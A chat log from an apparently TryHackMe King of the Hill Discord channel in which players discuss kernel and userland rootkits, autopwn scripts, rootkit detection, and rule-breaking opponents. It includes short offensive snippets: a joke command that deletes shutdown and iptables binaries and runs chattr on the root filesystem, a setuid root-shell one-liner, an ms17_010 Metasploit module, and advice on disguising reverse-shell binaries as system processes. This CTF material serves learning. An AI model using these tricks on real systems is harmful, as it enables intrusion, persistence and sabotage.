i know what u mean but i also know that players have what they call rootkit, a programm where u just type the ip and maybe the machine type from koth and they have king, cause the machine have the same vulns but they change a bit. so what i meant is, there are many players which have programms where they dont need to do anything except typing the IP to win.

[fading moat]

That's not a rootkit albeit the definition for rootkit on Wikipedia is a bit misleading. These programs are autopwns. Rootkits are not autopwns

[sharp siren]

@fading moat out of wonder where you able to make your own write_hook?

[fading moat]

A write hook is practically useless here ;)

[sharp siren]

wdym by useless?

[fading moat]

Think better, why would a write hook not be the best option

Hey @broken pilot wyt about what I said on open sourcing my kit

[broken pilot]

Idk honestly, it's looking like more and more people are using rootkits to control king.... At some point it's just going to become who has the better rootkit.... But I'm also noticing that this is the main way some ppl control king... And if we created a game where no rootkits could be loaded I'm wondering if they would still be able to control king or would this make it a fair match.. cuz when you use a rootkit on a newer player, it could make them no longer want to play or resort to cheating.... I think rootkits should be last option when playing against better players instead of used on every single game against every player....

[fading moat]

I see wym. But since you put it this way, open sourcing rootkits will help new players develop their own, or understand how to defeat them (less likely). I don't necessarily see why the game shifting towards the use of rootkits I'd a bad think

[sharp siren]

I mean there isn't only 1 way to skin a cat but write hook sounds kinda kinda great to hook from other sys_calls and tbh I didn't took a look in sys_calls to know which is the best to hook so far.

[fading moat]

Thing*

[fading moat]

When you do, you'll start laughing

[fading moat]

Depends on what quality of a skin you're going for ;)

[light flame]

A game without rootkits would probably mean that the one that has the most resource intensive script will win so idk if it would be a fair game.

[broken pilot]

True, open sourced rootkit could be used to learn how to implement and could get a bunch of ideas to improve it (not a bad thing)... But just like everything else it could also enable ppl to abuse this .. so I think if you release an open source rootkit just don't make it unstoppable....

[broken pilot]

Yea but scripts are a lot easier to find and stop than rootkits....

[fading moat]

Yeah my rootkit is relatively unstoppable

We would know better if you test it sometime ;)

[light flame]

True, but it would mean that a lot machines will crash, if it's a rootkit you just have to find a loophole or remove it when possible.

[fading moat]

How'd they crash tho

[broken pilot]

So now think if everyone had it and all played at once 🤣🤣🤣🤣... Id release like a public version and hold on to the unstoppable one

[broken pilot]

Have to tried bypassing a rootkit?

[broken pilot]

I will get to it 🤣 I forgot over the weekend... I may play a game tonight I'll ping you and we can test it out

[light flame]

Yeah

It's possible, just find an edge case

[broken pilot]

Were you successful?? It's a lot harder than finding a loop hole in a script or just killing the PID of the running script...

[light flame]

But I only did this with one rk, so idk about other's

[fading moat]

Just start the food practice game and send the ip

[light flame]

Yeah, a few times

[fading moat]

I'll be home tonight

[broken pilot]

I'm not at a comp rn. But when I get to the house I will

[fading moat]

Yeah fs

Currently hitting some biceps

Mid set rootkit discussion is elite

[broken pilot]

Ok, good job. Was it as easy as running ps auxf and killing script??

[steep agate]

It's actually very easy to detect your rootkit, craig the creator of Agentless Linux Security also agrees with this, the problem itself is just adding correctly to lsmod, restoring completely, which I can't work on at the moment because I have other issues To resolve this, don't think you're a god because of this, just copy & paste what already exists on the xcell blog, among others 😄

[fading moat]

Not really, you can try it yourself. You're still trying to prove something. Grow up, it's not everything about you.

[fading moat]

How do you know without seeing the source code 🤔

[steep agate]

I'm not trying to prove anything, I'm just saying reality

[fading moat]

Sure bud, nice one

[steep agate]

But creating a tool from scratch to detect and remove rootkits, try it, because making a rootkit is easy, you can just look at xcellerator 😝

developing new tricks for defense

[light flame]

No, it took lots of time and trial and error to find a way to bypass one, but it's not impossible

[fading moat]

For you, it might be just that. Not all are just copy pasting stuff they find;)

[steep agate]

Nah, you said it yourself that the xcell blog helped a lot

[fading moat]

This guy 😂 does it mean I just yanked everything I found on there

[steep agate]

I just said the reality, your rootkit is not unstoppable, it never will be, and next to an EDR/XDR agent for Linux, your rootkit seems like a toy to deal with 😄

[fading moat]

Again, you're trying to prove something. Calm down

What would you care

[light flame]

nothing is unhackable you know

[broken pilot]

That's my point tho... I know it's possible to bypass, I've bypassed many but for a new player it could seem impossible... The goal should be to get new players excited to play and keep them coming back

[near lily]

Saying "My rootkit is unstoppable" and having a counter argument applied then saying "you're trying to prove something" is terrible arguing.

Really it's tit for tat.

[light flame]

True, it was a bit of a personal challenge for me to defeat it, otherwise I probably would've given up.

[fading moat]

I said relatively. Second of all, matheuz is for some reason obsessed with trying to prove me wrong like I have done something to him. I had already informed @sonic belfry for him dming me out of the blue starting to make fun of my projects with no apparent reason

[near lily]

No point bringing Tim in to this, and I'm not saying matheuz is innocent either.

You both need to cool it, if you don't have anything nice to say, probably best you just stop.

[steep agate]

? You were the one who started all this in the f11snipe chat, wanting to call my project and research something completely useless, first of all, you didn't even know how it worked

everyone saw this

tagging me there

If you hadn't started all this there in the f11snipe server chat, I would still not know of your existence

[broken pilot]

I can relate that's how I figured a bunch of ways to bypass them was just a personal challenge... But not everyone thinks this way... I try to find the newer players and teach them a few techniques to be able to compete, to keep the game alive... If everyone is using rootkits wouldn't be as fun IMO...

[fading moat]

There is, he told me to let him know if he acts the same. Also, how is it tit for tat, I never said anything personal lol. And matheuz seemed to confuse my criticism towards his lkm detection from the start which made him turn aggressive against me. It was never my goal and he is keeping at it

[fading moat]

Once again with your inflated ego. I literally don't care if you didn't acknowledge my existence. How's that a point

[near lily]

Im not asking, I'm tell you both to stop before I mute the pair of you.

[fading moat]

Please stop trying to make fun of me, it's annoying and doesn't look good for you. Please

[steep agate]

Aggressive towards you? lol, at no point was I like that, you're telling lies, if you want you can even enter the f11snipe chat and see the messages, you're the one who started all this, I was quiet in my

[broken pilot]

This is why we can't have nice things guys 🤣🤣🤣🤣 just playing...

[fading moat]

Sure go ahead, this is a fucking joke. The dude is harassing me for no reason and somehow I'm at fault? Lmfao funny

[steep agate]

I was aggressive towards you? lol, I even tried to help you understand what imperius did

[fading moat]

Sure buddy

I dont care anymore

[steep agate]

Are you acting like a poor thing now? lmao

[steep agate]

sure

[fading moat]

You'll get us both muted

[final onyx]

:mute: anti_sysadmin#0 has been muted.

[fading moat]

So kindly stop talking

[near lily]

You do realise you were part of this conversation too, right?

You're in no way innocent.

[fading moat]

Didn't I stop talking

[near lily]

No?

You kept talking

[fading moat]

Huh

[placid fable]

Reading all that rootkit talk, surprisingly I started working on one last night 😆

Lemme know when you guys are connecting, happy to learn something : )

[fading moat]

Good luck mate. Feel free to DM me if you want to talk about rootkits. Let's learn from eachother

[placid fable]

Thanks : )
It's all academic, I have studied the xv6 system in uni, it was great. I don't know much yet, around the actual Linux kernels. So, I will be learning from you guys : p

[sour vector]

Gave +1 Rep to @fading moat (current: #1092 - 3)

[fading moat]

Interesting! I am new to this too, first stumbled upon xcellerators awesome blog to get me started, then I got around by reading through kernel source code (elixir bootlin my beloved) and the help of some awesome guys over at tmp.out, had a lot of problems in the way but managed to get through.

And I discovered some very interesting techniques on the way

[steep agate]

eBPF is also a good way to hook syscalls 😄

[placid fable]

That's great, elixir is just OG

Packet Filter?

[steep agate]

https://medium.com/@luishrsoares/developing-ebpf-hooks-first-steps-58e1e82999a0

[steep agate]

Yeah

with eBPF you can detect rootkits, for example the aquasecurity tracee, but you can also hook syscalls with it

There are security solutions on the market that use eBPF

[fading moat]

That's interesting I hadn't come across that before

[steep agate]

XDR for Linux it also has very good protection against rootkits

[fading moat]

No

[steep agate]

Extended Berkeley Packet Filter

=

ebpf

[fading moat]

Yeah I js googled it

Cool

[steep agate]

Some XDR also monitors kprobe events

[steep agate]

https://github.com/aquasecurity/tracee

[fading moat]

I'll check it out

[steep agate]

in a paper I wrote, I also mention eBPF

[placid fable]

@fading moat Yeah, got it working. The kernel module, for hooking into the syscalls

[fading moat]

Hehe, nice. Did you use ftrace hooks?

[placid fable]

Yeah, for now I was following along the post that Matheuz mentioned

[fading moat]

Insee

[north wolf]

This thing is still ineffective, may I know what all am I missing?
~
https://github.com/profxadke/kothrk

./doit.sh

[placid fable]

From what I can see, it's effective in the userland. And IIRC, a static binary won't be needing to load the dynamic symbols from your shared library.

There has been some talk around the Linux Kernel Modules (LKMs) which would run with more privilege in kernel space.

Matheuz and others have worked or are working on something similar for KoTH's king foothold

[placid fable]

@north wolf

I was studying the LKMs, and have written a little something for KoTH. Lemme know if you wanna test yours against it, it's pretty barebone atm.

[placid fable]

nvm, just tested it. It didn't work with the older kernel on the KoTH machine 😆

[light flame]

You're also intercepting just a few functions, like you only hook open(), but there's also open64(), fopen() and fopen64(). The same goes for your other hooks. And ofcourse a static binary is unaffected by this technique.

[gray perch]

GG @timid ore!
my first time doing koth. Cooked 😂

[gray perch]

btw kaali, if you see this would love if you can explain your methodology and the tcpwrapper thing :)

[tacit ridge]

Just asking guys, do people have some kind of automation setup, They get king within 10mins, I am not able to crack it wiithin 1 hour😮‍💨🥲

How many boxes are there in all of koth ?

[sturdy fox]

Many people have notes for all the machines knowing how to get in, every machine has multiple ways and yes some people have automation. Ur first Match?

[tacit ridge]

Yes

[sturdy fox]

What machine?

[sturdy fox]

@tacit ridge we can make private games if u wanna learn the machines

[tacit ridge]

that is paid🥲

[sturdy fox]

Only the Host needs to have premium and i have premium 😉

[timber vale]

there is also sys_openat 👍 which is used in most new systems

[light flame]

do you mean openat() and openat2()?

[timber vale]

there is sys_open and sys_openat and sys_openat2

[light flame]

syscalls or functions in libc?

[timber vale]

syscalls

but there are wrapers around them in glibc ofcourse

[timber vale]

the openat2 is very new its like 5.6 +

[light flame]

this was about a rootkit that uses ld preload, so then he needs the libc functions

openat + openat2 are indeed libc functions, but they're harder to intercept and do checks on

because it takes a file descriptor to a directory as argument you have to get the file/directory associated with the fd

[timber vale]

👍

[sturdy fox]

why are only Wizard or higher lvl people on rn? 🥲

[tardy imp]

It seems I got really lucky on my first koth there weren't any high level

[sturdy fox]

i have, God, Harry, Master and Hacker against me rn xd

[sonic belfry]

The best way to learn is to surround yourself with people who are further along than you. 😄

[young bramble]

the THM rank is different than koth experience. The 0xD-GOD rank means the user completed a certain number of THM rooms that got him to level 13 (max) but this has nothing to do with koth games. If he plays for the firs time, or didn't manage to study the machine you play and find a fast way in, you might win, as you already did, with 49 minutes of king. And Lion machine has the fastest root foothold that can get you king in seconds.
BTW I guess you already know there are websites like F11snipe's koth.guru that you can use to check on your opponents and make an idea of koth experience and how many games he played...

[sturdy fox]

uh no i didnt knew there are websites to check it lol

yeah i know that the level shows like how many rooms but with rooms u also get knowledge

[young bramble]

You also get knowledge working as a linux sysadmin, or cybersecurity analyst, but when it comes to this competitive game of attack and defense, the speed is more important than knowledge. It doesn't matter if you know how to exploit a vulnerability if someone else exploited it before you and patched it. It doesn't matter if you got in and patched all the ways you know, if someone else know a different way in, finds a way to privesc, loads his lkm and locks you down...Best way to train IMO is private games, Enumerate, get in, get root, and enumerate more to find fastest way in but also as many alternative ways in.

[charred hare]

The is a cool site

[young bramble]

I've sent you the links in DM (to avoid being muted for advertisements 🙂 )

[young bramble]

Yes it is and thank F11snipe for creating it and making it available for community. I guess it needs to be updated tho because I did't see any game with new released Fireworks koth machine... somehow those games are skipped

[sour vector]

Gave +1 Rep to @charred hare (current: #14 - 559)

[broken pilot]

Ahhh good catch.. I can check into an update for that.

@young bramble Will let you know when it's finished... Also planning on putting together a player profile page with additional metrics like nemesis (who you lose to the most) and nemesis of and a few others

[young bramble]

nice 🙂 thanks

[sour vector]

Gave +1 Rep to @broken pilot (current: #73 - 88)

[timid ore]

lets play a game https://tryhackme.com/games/koth/join/bafd2c6791134b12ce3a1a5c

[sturdy fox]

Gg @light flame i dont wanna do the remount stuff the hole time, imme learn a bit😂

[light flame]

gg

[light flame]

https://tryhackme.com/games/koth/join/14ed623c5f6b2240073f287b

[obsidian lark]

gg

[light flame]

GG

[obsidian lark]

yup im still here

[light flame]

mind if I dm?

[obsidian lark]

yeah sure

[timber vale]

i had the same issue on my mac mini which has no antivirus any new configuration of vpn dont work for me but i had an old backup of my files with an old vpn configuration im using its working on both my laptop and my mac mini 👍 idk why i cant use a new vpn configuration 🧐

[timber vale]

https://tryhackme.com/games/koth/join/c23e7a5a9a13a6a26a28f536

[timber vale]

https://tryhackme.com/games/koth/join/b0b3415ab4900d857d8a1ee7

[timber vale]

https://tryhackme.com/games/koth/join/6f52abc7d210a4bfd1fce4e9

[timber vale]

https://tryhackme.com/games/koth/join/2e47a9245361eb5e12df1ca0

[timid ore]

anyone

https://tryhackme.com/games/koth/join/4f7fd0c55bdf6c66fc6cc854

[sturdy fox]

ur boring @fallen palm have fun gg

[fallen palm]

That guy was you?

Check DM @sturdy fox

[obsidian lark]

King of the hill channel question

[sturdy fox]

what question?

[obsidian lark]

I am doing a king of the hill challenge now but my vbox seems to be running very slow, and suggestions on how to speed up my response?

[sturdy fox]

virtual box or attackbox from thm?

[obsidian lark]

virtual box

Is the attack box better?

[sturdy fox]

nah virtual box is better, are u already connected with the target or is ur own shell working slow?

i had it sometimes that the target was pretty slow

[obsidian lark]

I am connected , I am doing things like nmap, nikto just to get started, is there something I should do to start faster?

[sturdy fox]

i mean rustscan is way faster than nmap but idk about the other stuff

[obsidian lark]

Thank you that is a start, I will use rustscan in the next challenge.

[sturdy fox]

are you using nmap -A cause that is realy realy slow

[obsidian lark]

I use only min to get the open ports (-Pn -p- T4)

[glass isle]

so on a linux machine i put myself as king in the king file but what about windows machines?

[civic vortex]

c:\king.txt

[sturdy fox]

or c:\Administrator\king.txt

[civic vortex]

nah, they changed both windows machines' king location to c:\king.txt recently

[sturdy fox]

oh fr? didnt noticed

[fallen palm]

Anyone here found all 6 flags in fireworks koth.? I found 5 only.

[young bramble]

I found 6. How do you know there are only 6 in total ?

[fallen palm]

Just a random guess as many machines have 6

[young bramble]

food, shrek, fortune, panda, offline have 8, hackers have 9, carnage and hogwarts have 7...

[fallen palm]

Huh

I knew they had 6 💀

I should go more deep then from next time.

👀

[sturdy fox]

oh the right side of the flag submission button there is a flag and i tells you how many flags on the machine are btw

[obsidian lark]

what is the first step in the king of the hill challenge?

[sturdy fox]

Enumeration, portscan probably, looking for open ports and what services are running on them

[obsidian lark]

I got that , then did nikto but still struggling to find flag

[south pulsar]

@light flame you skinny kidde

[sturdy fox]

lol what happened now

[light flame]

I've no idea, he even send a DM but I've heard nothing after that🤷‍♂️

[south pulsar]

he just send me some bad words while we playing koth

[fallen palm]

Lmfao I never noticed that..xD

[fading moat]

New way to communicate with the LKM.

Using a trusted procfs entry as a front (like kallsyms), no syscall hooking is taking place and everything looks normal

I also went over the kernel to give arbitrary processes root credentials, while the kernel purposefully doesn't provide such an API

[fading moat]

As you can see on the left side of the screen

I hope you guys like my new creation :) code will be open sourced after I clean it up and perhaps add some more features

[violet zealot]

interesting 👍

[light flame]

Does someone know why you can't set your ruid to 0 if your euid is 0 on carnage? If I run python3 -c 'import os;os.setuid(0);os.system("/bin/bash")', I get a PermissionError.

[violet zealot]

u probably need sudo perm with python to use these command i guess

[light flame]

No, on all other machines it works, and the idea of this command is to make your ruid 0 after you used an suid binary to get root. If you got root through sudo your ruid is already 0 so in that case this command isn't even needed.

[sturdy fox]

@timber vale how are u in 3 games at once?

[timber vale]

i play the first game get king go to the other ones 👍

[sturdy fox]

i thought u only can be in 2 at once lol

[broken pilot]

So you can only host 2 games at a time but you can join in more than 2 if someone else is hosting the match

[sturdy fox]

ohh okeyyy

[mossy hearth]

how comes😂

[sturdy fox]

U just cloned urself congrats😂

[timber vale]

https://tryhackme.com/games/koth/join/84f793f805aa8ad15a8a8f2d

[timber vale]

@south pulsar what is this this TestUser8422 wasnt here when the game started so he must have got a link and the only thing he did is just reset
he also never had activity until today 🧐

[south pulsar]

i dont know who the hell is he

[timber vale]

he must have a link the reset needed two persons thats why

[south pulsar]

i'm not playing this koth match

[timber vale]

you saying this egyptian guy sent him the link 😂

to hit reset 😂

[south pulsar]

maybe , i dont even see the game

i was playing htb now

[obsidian lark]

he prolly added an ult account to reset intentionally 😂

[grim slate]

bruhs i have a doubt in koth i can find all flags but i cant make the king time anybody say how can get into it? i need steps not solution

[sturdy fox]

U have to put ur name in king.txt to get king points, in linux machines its in /root

[sturdy fox]

@timber vale dont u get bored?

[light flame]

sure🤣

[south pulsar]

what

you have proofs ?

show me then

[light flame]

no, but I will be happy if the box isn't randomly reset

[south pulsar]

ok

[steep agate]

https://koth.guru/games?api=sort%3D-started_at%26page%255Bnumber%255D%3D1%26filter%255Bboxed%255D%3Dtrue%26filter%255Bstatus%255D%3Dcomplete%26filter%255Bgameplayers__score__gt%255D%3D0%26filter%255Bsearch%255D%3DTestUser8422

[light flame]

@south pulsar congrats, you reset enough to make me loose😂

[south pulsar]

you play very well 🤣

[timber vale]

😂 i dont just play koth all day i play chess sometimes watch some yt vids finish some thm rooms or do some programming ...

[violet zealot]

ohoh 👀

naah that's definitely sus

[civic vortex]

At least he's going soft core mode, not like his friend WildInsect

And he was polite to you

[fair adder]

Why does koth always cause this behaviour 💀

[sturdy fox]

Cause its a game, always people like this in games😅

[fair adder]

Mhh

[steep agate]

https://koth.guru/games?api=sort%3D-started_at%26page%255Bnumber%255D%3D1%26filter%255Bboxed%255D%3Dtrue%26filter%255Bstatus%255D%3Dcomplete%26filter%255Bgameplayers__score__gt%255D%3D0%26filter%255Bsearch%255D%3Diamjadu4321

[fading moat]

Brain dead dudes be like that

[civic vortex]

💀

[steep agate]

man, THM should use koth.guru if he wants to get more proof about fake accounts on koth 🤣

btw, great job for create koth.guru @fossil pecan 🙏

[civic vortex]

Agreed

[obsidian lark]

bro attacking bravosec? damn

[south pulsar]

bravo is your father ?

[obsidian lark]

relax bro

[south pulsar]

YUP

[final onyx]

@south pulsar has been warned.

[civic vortex]

idk whats wrong with them

[fading moat]

@south pulsar spoke like a true sigma

https://tenor.com/view/sigma-alpha-wolf-alpha-wolf-the-weak-should-quiver-gif-17759401881362908244

[fading moat]

How bro felt after that

[fathom elk]

😂

[civic vortex]

[near lily]

Can I DM you?

[civic vortex]

yes

[timber vale]

aliali..0541 why you play very dirty remove binaries and reboot machine ....
😂 you wont win removing mount will only backfire on you cuz mouting and umounting is possible in other ways ....

[dreamy sparrow]

is having redirects from a koth website to it opening applications on your computer allowed. Im guessing people are not allowed to modify the web-page so this happens.

[civic vortex]

koth team should consider writing a LKM to hook all operations that can break the rules

[steep agate]

This is a very interesting issue to discuss, because in fact an LKM is something very strong against players who do not have the slightest knowledge about a rootkit, and most of the time few, very few players even know how to play against it and there are few players that can count on a hand that uses the LKM to protect the king, in addition to the fact that an LKM connects syscalls, changing the default behavior

[civic vortex]

Yeah i already made one LKM that protects important system paths and processes, and koth services

[steep agate]

LKM I say, created to protect the king, if it's something common like hiding processes or directories, I don't see why they should be banned, why a userland rootkit can also do the same, the difference is that userland is easier to be detected, and there is also a way to create a user rootkit to protect the king, however, something at the kernel level is always much stronger and difficult to remove

[civic vortex]

I guess its not hard for them to make one

[steep agate]

There is also the issue of compatibility with the koth kernel, as it is older (so this could also be another of the difficulties of creating something like this for koth) , but when I played koth, I don't know how it is now, but there were few players who used LKM to hide processes/directories, and even fewer players who use it something at kernel level to protect king

[civic vortex]

yeah, I only tried on kernel 4.x

I can imagine the pain for kernel 3.x

[obsidian lark]

however, the fact remains that most LKMs can still be bypassed...

[steep agate]

They can be bypassed, but not all players can do this, the minority can

if you put a new koth player against something like that, he will hardly know what to do

[obsidian lark]

yeah, but there are a lotta experienced players... all it takes is just a few games to analyze the behavior of the lkm, and put up a strategy to bypass it

[steep agate]

Yeah

[split gyro]

these hackers man... they are going out of control smh.

how hard are the koth?

[fading moat]

Calling the dude a hacker is more out of control

[safe bough]

Hey @timber vale, how did you lock the king file like that? 🙂

I know about chattr, but what you did was different, no?

[timber vale]

yeah it was different but thats my trade secret 🙃

[safe bough]

Damn... Alright, I'll figure it out sooner or later..

What about your infinitely looped hidden directories? I couldn't figure out what you were doing in there, so I just kept deleting them.. lol

[timber vale]

i didnt have any hidden directories 🧐 and no infinit loop

[frail nymph]

I suggest watch old JH videos. You will find out lol

[safe bough]

/var/spool/mail/.../root/root/root - what's that about? 🙂

Haha thanks, I will. I've watched a bunch but lots left to go through. Any particular recommendations?

[timber vale]

yeah i had a pspy there but i didnt have any infinite loop

in /var/spool/mail/... but nothing in /root ...

[frail nymph]

Can't recall a title but he did something when he was not able to use chatr

[safe bough]

Maybe it's auto created by pspy ? /var/spool/mail/.../l/l/l/l/l/l/l/l

Alright thanks, I'll look it up 🙂

[timber vale]

no i downloaded it my self in there the pspy name was changed to l

[safe bough]

Oh I see 🙂

[timber vale]

you can download it from https://ch1.pro/files/binaries/chattr or you can get it online and compile it there is alot of different ways to protect king rather than chattr

#koth message

[frail nymph]

yup

[safe bough]

I was using pspy as well, that's how I saw some of what you were doing. and i moved in a static chattr binary, but it didn't do me a whole lot of good, lol. But it's a fun learning experience 🙂

[sleek tundra]

The first thought that came to my mind was blockdev.

[fallen palm]

Anyone wanna join koth.? M sitting alone there

9 minutes till new one starts

[obsidian lark]

Any thoughts

[safe bough]

My vpn is acting up and I'm too tired to fix it. Catch you next time @timber vale

[timber vale]

ok

[timber vale]

he keep shutting down the machine its annoying and against the rules:

[sturdy fox]

patch the machine so he cant get root than?

[fading moat]

How will he patch it if he keeps shutting it down ???

[sturdy fox]

i mean he always gets in machines in 1 Minute, so basicly he is in before everyone right? so he can just patch it? "he keeps shutting down" means it repeats so there is a time where he could patch it, but as far as i know Ch1 never patches machines he just plays king

[fading moat]

I'd love to see you patch a machine within a 1 minute time span before shutting it down again

[fading moat]

Well you got your answer then

[sturdy fox]

we dont know how long aliali takes to get in so idk

[steep agate]

rm $(whereis reboot) ; ln -s /dev/null /usr/sbin/reboot; rm $(whereis iptables) ln -s /usr/sbin/iptables; rm $(whereis shutdown) ln -s /dev/null /usr/sbin/shutdown; cd / ; chattr +iau *

i'm kidding 😄 🤣

[fair adder]

So what does this exactly do? xd

Remove/lock the binaries?

[steep agate]

remove the binaries that can shutdown/restart the machine, and remove iptables, and then send everything to /dev/null

but removing binaries is against the rules, you can only remove chattr xd

[fair adder]

Mmm they should made an exception for reboot and shutdown

As rebooting / shutting down is against the rules too

[steep agate]

using iptables too

iptables can block specific packets, specific IP, etc.

but in the rules it says you can only remove chattr

[fair adder]

Idk, never played koth

And I think I dont want to

When reading this channel sometimes

[fading moat]

Nah lmfao

[fading moat]

Yeah it's sad

[light flame]

Shutdown and reboot are symlinks to systemctl so this doesn't remove the binaries😂

[steep agate]

damn, true, I had forgotten 🤣

[steep agate]

So this is the guy who turns off the machines? I have a slight impression that I played against him a long time ago

Or maybe it was him with another account, but from the same country

[light flame]

this is actually quit interesting, since shutdown and reboot themself aren't binaries, it's technically not forbidden to mess with them.

[steep agate]

🤣

[fallen palm]

Aah that aliali guy , thatswhy everyone had to reset the machine 4 times and still we couldn't connect to the machine cause he was shutting it down

[young bramble]

there is an easier way of doing this without breaking the rules. We can create scripts with names like halt, poweroff, reboot, shutdown, etc. in a folder in $PATH that is checked before the folder where original binaries are located (/usr/local/bin for example) we can put there things like: "echo Shuting down; kill -9 $$ $PPID" 😆 or we can set aliases for them too

[light flame]

someone up for koth? https://tryhackme.com/games/koth/105612

[obtuse karma]

https://tryhackme.com/games/koth/105613

[frail nymph]

Is there anyone who play regularly at certain time?

I wish to participate.

[obsidian lark]

I am playing now

[frail nymph]

Nice

Share the room here

please

[obsidian lark]

https://tryhackme.com/games/koth/105619

[frail nymph]

I am in

[obsidian lark]

nice

[frail nymph]

Let's use discord for voice chat

[obsidian lark]

I see you on voice chat, how do I join?

[frail nymph]

Just click on #koth-voice-chat

[timber vale]

no one was with me from the start and the game started anyway.
some times this could happen if someone quit just before the game start but in this case
no one even joined from the beginning 😂

[frail nymph]

Can I join?

[timber vale]

ok let me send you link im very bad at windows anyway

[frail nymph]

Please do not choose windows machine

[timber vale]

its offline machine

[frail nymph]

I have not been win priv esc yet

[timber vale]

yeah im very bad at windows too but this machine is just vulnerable to ms17_010 you can use it from metasploit and get a shell and no need to privesc

exploit/windows/smb/ms17_010_psexec

https://tryhackme.com/games/koth/join/756c28ab8e089979a852ec8e

[frail nymph]

Nice

I am in

[frail nymph]

Did you overwrite all flags? @timber vale

You have break my shell now @timber vale

lol

[timber vale]

no and no

i didnt do any of those things

im playing two other games

[frail nymph]

I am not able read any flags and size of all flags are same abruptly .

[timber vale]

i didnt modify anything what cmd you used to read flags

[frail nymph]

dir flag.txt

[timber vale]

its type flag.txt

here i read one for you as example from the machine

[frail nymph]

Please extend timer for a bit

[frail nymph]

II want to try more

[timber vale]

i cant extend the game its a public game

[frail nymph]

Oh

[timber vale]

this is also a public game that will start after 3 min:
https://tryhackme.com/games/koth/join/14f73e5b7f4bf0707e2e69b1

and no one is there

[frail nymph]

Thanks

How do you find these games?

[timber vale]

i just join public games

the machines are random

[frail nymph]

Me too

[timber vale]

i dont have premium rn so i cant make private rooms but i dont think you can even extend the time if you have premium the machine is just one hour but im not sure

[frail nymph]

Yeah it's true

[frail nymph]

I found gloria's key and password too

but I am not able to login through SSH

Any idea

Did you disable ssh? @timber vale

[timber vale]

no i didnt i dont patch in most public games if you are not actively resetting or shutting down the machine

but i didnt disable anything thats against the rules

try using port 1337

i think ssh is on that port

by default

[frail nymph]

I did not see that port open wow.

I cracked password and it was dance but it is not accepting it. @timber vale

|| ||

||image||

[timber vale]

yeah idk why then i never used that way of getting in so i dont know but let me check if that key is there

[frail nymph]

Thanks

[timber vale]

yes its there

my main way of getting in was RFI on port 5555

[frail nymph]

Do you mean LFI?

[timber vale]

check your dms

so i dont spoil the machine for other people

[timber vale]

@frail nymph

https://tryhackme.com/games/koth/join/c2c5bb1953fb566086c3252e

game start in 2min

[light flame]

You can make a private game without premium, but the machine will still be random.

[frail nymph]

Nice

[fallen palm]

really..?? @mild forge

[placid fable]

It's allowed to stop services if you can't patch them, or change SSH port (which requires a restart)

[frail nymph]

did anyone patch Tomcat/Coyote

I have a question guys. Is there anyway I can redirect my commands from my terminal to nc shell after getting connection from box. Like can I run a script stabilise shell.

[frail nymph]

I am not able to find king.txt file in offline machine

[violet zealot]

If u don't find it in C:/ then u have to create it

[violet zealot]

pwncat

[frail nymph]

Without any tool.

[violet zealot]

Then write the commands urself

[frail nymph]

Do you know command

[violet zealot]

https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

[frail nymph]

Plese check your DM

[timber vale]

i think its in C:\Users\Administrator\king-server

[frail nymph]

I could not found it in cmd

I checked online

[frail nymph]

We have two pwncat tools. Which one are you refering to?

https://github.com/cytopia/pwncat?tab=readme-ov-file

https://github.com/calebstewart/pwncat?tab=readme-ov-file

[placid fable]

This one, but sadly it's not maintained anymore 🥲

[near lily]

pwncat-cs is god tier.

[placid fable]

I helped a little bit in this tool

[violet zealot]

Yea this one

[placid fable]

I had a chance to maintain this project, but I had my Uni then😭

[frail nymph]

Do you mean this one @near lily https://github.com/cytopia/pwncat?tab=readme-ov-file

[placid fable]

@frail nymph pwncat-cs ^

[frail nymph]

I have downloaded Pwncat and pwncat-cs

Can you send me some reference how can I use it.

[near lily]

sudo pip3 install pwncat-cs

Read their github.

[frail nymph]

Done

and then?

[near lily]

Literally read their github, it will show you faster than I can tell you.

[frail nymph]

I have noticed that I missed an error Error: uninstall-no-record-file

Any idea @near lily

[steep agate]

new zine on phrack -> http://phrack.org/issues/71/12.html

Finding hidden kernel modules (extrem way reborn): 20 years later

[timber vale]

https://tryhackme.com/games/koth/join/2c282cc747411ad445117844

[fading moat]

My rootkit is not detected by nitara2 (tested on ubuntu 22.04) but I can't understand why. It's not doing anything different than KoVid in terms of hiding itself. It might be those checks they do to figure if a module is sane enough to be a real module

[steep agate]

This new zine that came out on phrack is really interesting, I'm thinking about implementing some things I saw in it, but unfortunately, it only detects it, but it's very good, I have ideas on how to make it visible again

KoviD is currently the best lkm rootkit

so it's legal to use it as forensics tests

[light flame]

https://tryhackme.com/games/koth/106158

[obsidian lark]

who's h4des666?

he put down koth service on multiple games

and shutdown/reboots the box

[near lily]

Please don't cross post this.

[regal chasm]

@timber vale go easy lol

[regal chasm]

is KOTH down?

never mind, was getting 404 when attempting to join public game.

@timber vale you gotta show me some tricks!

[timber vale]

https://trevohack.github.io/posts/TryHackMe-KOTH

[regal chasm]

lets go appriciate it!! just won my first match.

[timber vale]

https://tryhackme.com/games/koth/join/fae9e1a97c14480f673c9321

[placid fable]

That's nice.
+rep @obsidian lark

I would create a static binary and give it a name similar to one of the processes running on the system like agetty, apache or apache2, fcron, httpd with minor changes (e.g. agentty) and pass fake arguments to write to king.txt and reverse shells :p

[sour vector]

Gave +1 Rep to @obsidian lark (current: #447 - 11)

[placid fable]

^

[obsidian lark]

ayee thanks!

[sour vector]

Gave +1 Rep to @placid fable (current: #35 - 220)

[regal chasm]

hes back lol

[obsidian lark]

ur hades?

[regal chasm]

nah deadsecarmy

[obsidian lark]

icic

[regal chasm]

is the ftp server broken?

[obsidian lark]

nah someone reset

[regal chasm]

wait are you guys already off of hogwarts lol?

[obsidian lark]

im still playing lol

[regal chasm]

yeah i cant even ping to the ip anymore

all my connections are timing out

to the machine

[obsidian lark]

it works for me

hades put down ftp

[regal chasm]

yeah its weird. I was previously logged into the ftp server too and got the secret file that's in there but when changing directories, it was not to fond of that command i guess.

[obsidian lark]

there's no point playing now, he uses autopwn

[regal chasm]

bruh autopwn is so annoying but it lowkey gets you ready for whats really out there!!

is the rootkit being used by others when all my permissions are cut in my root shell?

im gonna practice writing to king.txt but some people are so quick to get there and make it a read only file and that leaves me stumped.

[obsidian lark]

umount -l /root/king.txt - remove mount

[regal chasm]

yeah i tried that ass root and im hit with permission denied messages. i was also on your git page trying some magic on there but also denied with a couple of those cmds as well

as*

theres curently 4 different king.txt all different extensions

[obsidian lark]

its prolly a loop, find pid -> kill it

[regal chasm]

ok im just getting trolled now lol by the king

every session is just being closed

[stiff egret]

... just gonna add that it is comparatively much easier to kill a ssh session than it is to kill a reverse shell. Just don't upgrade the shell and stay without tty.

[regal chasm]

